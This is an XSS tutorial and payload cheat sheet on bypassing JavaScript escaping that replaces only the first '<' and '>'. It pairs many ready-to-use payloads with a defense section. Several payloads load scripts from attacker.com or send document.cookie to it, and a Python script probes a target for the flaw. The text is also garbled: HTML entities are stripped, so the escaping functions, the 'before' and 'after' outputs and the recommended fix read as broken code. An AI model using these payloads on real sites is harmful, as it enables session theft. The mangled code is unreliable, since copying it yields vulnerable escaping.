Incomplete HTML Escaping: Single-Replace Double-Tag Bypass
Overview
Incomplete HTML escaping is a common XSS vulnerability that occurs when developers attempt to sanitize user input but fail to properly escape all occurrences of dangerous characters. The most common mistake is using JavaScript’s replace() method without the global flag, which only replaces the first occurrence of a character.
The Vulnerability Pattern
Vulnerable Code Example
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
// Used like:
var userInput = getUserInput();
var escaped = escapeHTML(userInput);
element.innerHTML = escaped;
Why This is Vulnerable
JavaScript’s replace() method without a regular expression global flag only replaces the first match:
// Only replaces FIRST occurrence
"<hello><world>".replace('<', '<');
// Result: "<hello><world>"
// ^ First < escaped
// ^ Second < NOT escaped!
// With global flag - replaces ALL occurrences
"<hello><world>".replace(/</g, '<');
// Result: "<hello><world>"
// ^ All < escaped
The Exploit - Double Tag Bypass
Basic Payload
<><img src=x onerror=alert(1)>
How It Works
Input:
<><img src=x onerror=alert(1)>
After first replace(‘<’, ‘<’):
<><img src=x onerror=alert(1)>
^ Only first < is replaced
After second replace(‘>’, ‘>’):
<><img src=x onerror=alert(1)>
^ Only first > is replaced
^^^ Second set of < and > remain untouched!
Browser renders:
<>-> Displays as literal text:<><img src=x onerror=alert(1)>-> Executes as HTML/JavaScript!
Working Payloads
Basic Alert
<><img src=x onerror=alert(1)>
Result after escaping:
<><img src=x onerror=alert(1)>
Call print() for CTF
<><img src=x onerror=print()>
Execute Arbitrary Code
<><img src=x onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>
Load Remote Script
<><script src=//attacker.com/exploit.js></script>
Or using img tag:
<><img src=x onerror="var s=document.createElement('script');s.src='//attacker.com/x.js';document.body.appendChild(s)">
Exfiltrate Data
<><img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>
Or:
<><img src=x onerror=document.location='//attacker.com/?c='+document.cookie>
Using SVG
<><svg onload=alert(1)>
SVG is often less filtered:
<><svg onload=fetch('//attacker.com/log?data='+document.cookie)>
Using Script Tag
<><script>alert(document.domain)</script>
Using Iframe
<><iframe src="javascript:alert(1)">
Or:
<><iframe onload=alert(1)>
Using Body Tag
<><body onload=alert(1)>
Alternative Bypass Techniques
Using Double Image Tags
<img><img src=x onerror=alert(1)>
Result:
<img><img src=x onerror=alert(1)>
The first <img> is broken, but the second one works!
Using Any Valid Tag First
<div><img src=x onerror=alert(1)>
<span><img src=x onerror=alert(1)>
<a><img src=x onerror=alert(1)>
All of these work because the first tag absorbs the escaping.
Minimal Payload
<><img src onerror=alert(1)>
Even without the =x, the img will fail to load and trigger onerror.
Step-by-Step Exploitation
Step 1: Verify Single Replace Behavior
Test input:
<<
Expected output:
<<
If you see this, it confirms only the first < is escaped.
Step 2: Test with Double Angle Brackets
Test input:
<><>
Expected output:
<><>
The second set should render as actual <> in the HTML.
Step 3: Inject Console Log
Test input:
<><img src=x onerror=console.log('XSS')>
Check browser console for the log message.
Step 4: Full XSS
Test input:
<><img src=x onerror=alert(1)>
Alert should pop up.
Understanding the Flaw
What the Developer Intended
Developers often think this code is safe:
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
They believe it converts:
<script>-><script>
But it actually converts:
<script>-><script>- Only the first
<is escaped!
Why replace() Without Global Flag Fails
// String.replace(searchValue, replaceValue)
// When searchValue is a STRING (not regex), it only replaces FIRST match
var text = "<hello><world>";
// Only first match
text.replace('<', '['); // "[hello><world>"
// To replace all, use REGEX with global flag
text.replace(/</g, '['); // "[hello>[world>"
The Security Implication
Attackers can use a dummy tag to “absorb” the single escape operation, then inject their malicious payload:
Dummy Tag Malicious Payload
↓ ↓
<><img src=x onerror=alert(1)>
↑↑ These get escaped
↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
These execute!
Real-World Example
Vulnerable Application
HTML:
<!DOCTYPE html>
<html>
<head><title>Comments</title></head>
<body>
<div id="comments"></div>
<form id="commentForm">
<textarea name="comment"></textarea>
<button type="submit">Post</button>
</form>
<script src="app.js"></script>
</body>
</html>
app.js:
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
function displayComment(comment) {
var escaped = escapeHTML(comment);
var commentsDiv = document.getElementById('comments');
commentsDiv.innerHTML += '<p>' + escaped + '</p>';
}
document.getElementById('commentForm').onsubmit = function(e) {
e.preventDefault();
var comment = this.comment.value;
displayComment(comment);
};
The Attack
Attacker submits comment:
<><img src=x onerror=fetch('//attacker.com/?cookie='+document.cookie)>
After escaping:
<><img src=x onerror=fetch('//attacker.com/?cookie='+document.cookie)>
Rendered HTML:
<p><><img src=x onerror=fetch('//attacker.com/?cookie='+document.cookie)></p>
Result:
- User’s cookies are exfiltrated to attacker’s server
- Other users viewing the comment are also affected (Stored XSS)
URL Encoding
If injecting via URL parameters:
%3C%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
Decodes to:
<><img src=x onerror=alert(1)>
Encoding Table
| Character | URL Encoded |
|---|---|
< |
%3C |
> |
%3E |
| Space | %20 |
" |
%22 |
' |
%27 |
= |
%3D |
/ |
%2F |
Variations of the Vulnerability
Only Escaping Opening Tag
Some code only escapes <:
function escapeHTML(html) {
return html.replace('<', '<');
}
Bypass:
<><img src=x onerror=alert(1)>
Still works! The > doesn’t need escaping for the second tag to work.
Only Escaping Closing Tag
Rarely, code only escapes >:
function escapeHTML(html) {
return html.replace('>', '>');
}
Bypass:
<><img src=x onerror=alert(1)>
Still works!
Escaping in Wrong Order
Some developers escape > before <:
function escapeHTML(html) {
return html.replace('>', '>').replace('<', '<');
}
Same bypass:
<><img src=x onerror=alert(1)>
Order doesn’t matter - still only first occurrence is replaced.
Testing for This Vulnerability
Quick Detection Test
Input:
<<<
Check output:
- If you see
<<<-> Vulnerable (only first escaped) - If you see
<<<-> Properly escaped
Automated Testing
Use Burp Suite or custom script:
import requests
url = "https://target.com/comment"
payload = "<><img src=x onerror=alert(1)>"
response = requests.post(url, data={"comment": payload})
if "<img src=x onerror=" in response.text:
print("[!] Vulnerable to incomplete escaping XSS!")
else:
print("[+] Properly escaped")
Manual Testing Checklist
- Submit
<<and check if only first<is escaped - Submit
<><>and verify second set renders as HTML - Submit
<><img src=x onerror=console.log('test')>and check console - Submit full XSS payload
- Verify alert/print executes
Defense and Prevention
The Correct Way to Escape
Use Global Regex
function escapeHTML(html) {
return html
.replace(/</g, '<')
.replace(/>/g, '>');
}
The /g flag ensures ALL occurrences are replaced.
Escape All Dangerous Characters
function escapeHTML(html) {
return html
.replace(/&/g, '&') // Must be first!
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/'); // Forward slash
}
Important: Escape & first, otherwise you’ll double-escape other entities!
Use a Trusted Library
// Using DOMPurify
var clean = DOMPurify.sanitize(dirty);
// Using he (HTML entities)
var encoded = he.encode(userInput);
Use textContent Instead of innerHTML
// Vulnerable
element.innerHTML = userInput;
// Safe - automatically escapes
element.textContent = userInput;
Use DOM Methods
// Safe approach
function escapeHTML(html) {
var div = document.createElement('div');
div.textContent = html;
return div.innerHTML;
}
This leverages the browser’s built-in escaping.
Modern Approach with Template Literals
function createSafeHTML(strings, ...values) {
return strings.reduce((result, str, i) => {
var value = values[i - 1];
if (value !== undefined) {
value = escapeHTML(String(value));
}
return result + value + str;
});
}
// Usage
var html = createSafeHTML`<div>${userInput}</div>`;
Content Security Policy
Add CSP header as defense-in-depth:
Content-Security-Policy: default-src 'self'; script-src 'self'
This blocks inline scripts and external script sources.
Common Mistakes
Mistake 1: Using replace() Without Global Flag
// WRONG - Only replaces first occurrence
html.replace('<', '<')
// CORRECT - Replaces all occurrences
html.replace(/</g, '<')
Mistake 2: Forgetting to Escape Ampersand First
// WRONG - Creates double-escaping
function escape(html) {
return html
.replace(/</g, '<') // "<" becomes "<"
.replace(/&/g, '&'); // Now "<" becomes "&lt;"
}
// CORRECT - Escape & first
function escape(html) {
return html
.replace(/&/g, '&') // Must be first!
.replace(/</g, '<');
}
Mistake 3: Only Escaping Angle Brackets
// INCOMPLETE - Missing quotes, ampersands, etc.
function escape(html) {
return html
.replace(/</g, '<')
.replace(/>/g, '>');
}
Attack in attribute context:
<div data-comment="" onload="alert(1)" data-x=""></div>
Mistake 4: Using Blacklists
// WRONG - Easy to bypass
function filter(html) {
return html
.replace('script', '')
.replace('onerror', '');
}
Bypasses:
<scr<script>ipt>oonneerrorror- Case variations:
OnErRoR
Edge Cases and Advanced Scenarios
When Used in Attributes
Even with proper escaping, attribute context can be dangerous:
<div data-value="properly<escaped>" onload="alert(1)"></div>
↑ New attribute injected!
Must also escape quotes.
When Used in JavaScript Strings
var data = "<?php echo escapeHTML($userInput); ?>";
HTML escaping doesn’t protect against JavaScript context attacks:
"; alert(1); //
Need JavaScript-specific escaping.
When Used with innerHTML
element.innerHTML = escapeHTML(userInput);
Even properly escaped, some payloads might work with HTML parsing quirks.
Better:
element.textContent = userInput; // No parsing, always safe
Key Takeaways
- replace() without /g flag only replaces first occurrence - Always use regex with global flag
- Double tag bypass is the key exploit -
<><img>bypasses single-replace escaping - First tag absorbs the escape - Second tag executes as HTML
- Test with
<<to detect vulnerability - If only first is escaped, it’s vulnerable - Use library functions or textContent - Don’t write custom escaping
- Escape all dangerous characters - Not just
<and> - Order matters for ampersand - Escape
&first to avoid double-escaping - Context-specific escaping is crucial - HTML escaping doesn’t protect JS context
Quick Reference
Payload Cheat Sheet
# Basic alert
<><img src=x onerror=alert(1)>
# Call print()
<><img src=x onerror=print()>
# SVG variant
<><svg onload=alert(1)>
# Script tag
<><script>alert(1)</script>
# Load remote script
<><script src=//attacker.com/x.js></script>
# Exfiltrate cookies
<><img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>
# Using iframe
<><iframe src="javascript:alert(1)">
# Minimal payload
<><img src onerror=alert(1)>
Detection Pattern
// Test input
Input: <<
// If vulnerable, output will be:
Output: <<
↑ First escaped
↑ Second NOT escaped
// If properly fixed:
Output: <<
Both escaped
Proper Fix
// BEFORE (Vulnerable)
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
// AFTER (Fixed)
function escapeHTML(html) {
return html
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}